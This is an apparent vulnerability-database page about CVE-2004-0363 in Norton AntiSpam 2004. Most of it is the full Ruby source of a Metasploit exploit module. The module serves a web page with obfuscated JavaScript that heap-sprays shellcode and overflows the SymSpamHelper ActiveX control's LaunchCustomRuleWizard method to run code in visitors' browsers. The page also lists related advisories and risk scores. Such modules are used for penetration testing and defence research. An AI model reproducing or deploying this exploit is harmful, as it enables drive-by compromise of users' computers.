Norton AntiSpam 2004 SymSpamHelper ActiveX Control Buffer Overflow

🗓️ 10 Jan 2009 14:00:49Reported by MC <[email protected]>Type

Norton AntiSpam 2004 stack buffer overflow in SymSpamHelper ActiveX Contro

Reporter	Title	Published	Views	Family All 12
Circl	CVE-2004-0363	9 May 201000:00	–	circl
Check Point Advisories	Norton Internet Security 2004 symspam.dll Buffer Overflow (CVE-2004-0363)	15 Oct 200900:00	–	checkpoint_advisories
CVE	CVE-2004-0363	23 Mar 200405:00	–	cve
Cvelist	CVE-2004-0363	23 Mar 200405:00	–	cvelist
Exploit DB	Norton AntiSpam 2004 - SymSpamHelper ActiveX Control Buffer Overflow (Metasploit)	9 May 201000:00	–	exploitdb
NVD	CVE-2004-0363	15 Apr 200404:00	–	nvd
Packet Storm	Norton AntiSpam 2004 SymSpamHelper ActiveX Control Buffer Overflow	26 Nov 200900:00	–	packetstorm
Saint	Norton AntiSpam 2004 SymSpamHelper ActiveX control buffer overflow	24 Dec 200800:00	–	saint
Saint	Norton AntiSpam 2004 SymSpamHelper ActiveX control buffer overflow	24 Dec 200800:00	–	saint
Saint	Norton AntiSpam 2004 SymSpamHelper ActiveX control buffer overflow	24 Dec 200800:00	–	saint

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Norton AntiSpam 2004 SymSpamHelper ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Norton AntiSpam 2004. When
        sending an overly long string to the LaunchCustomRuleWizard() method
        of symspam.dll (2004.1.0.147) an attacker may be able to execute
        arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2004-0363' ],
          [ 'OSVDB', '6249' ],
          [ 'BID', '9916' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
        ],
      'DisclosureDate' => '2004-03-19',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Set the return.
    ret     = Rex::Text.uri_encode([target.ret].pack('L'))

    js = %Q|
    try {
        var evil_string = "";
        var index;
        var vulnerable = new ActiveXObject('SymSpamBlockingUI.SymSpamHelper.1');
        var my_unescape = unescape;
        var shellcode = '#{shellcode}';
        #{js_heap_spray}
        sprayHeap(my_unescape(shellcode), #{target.ret}, 0x40000);
        for (index = 0; index < 2024; index++) {
          evil_string = evil_string + my_unescape('#{ret}');
        }
        vulnerable.LaunchCustomRuleWizard(evil_string);
      } catch( e ) { window.location = 'about:blank' ; }
    |

    opts = {
      'Strings' => true,
      'Symbols' => {
        'Variables' => [
          'vulnerable',
          'shellcode',
          'my_unescape',
          'index',
          'evil_string',
        ]
      }
    }
    js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
    js.update_opts(js_heap_spray.opts)
    js.obfuscate(memory_sensitive: true)
    content = %Q|<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

02 Oct 2020 20:00Current

7.9High risk

Vulners AI Score7.9

CVSS 27.5

EPSS0.66567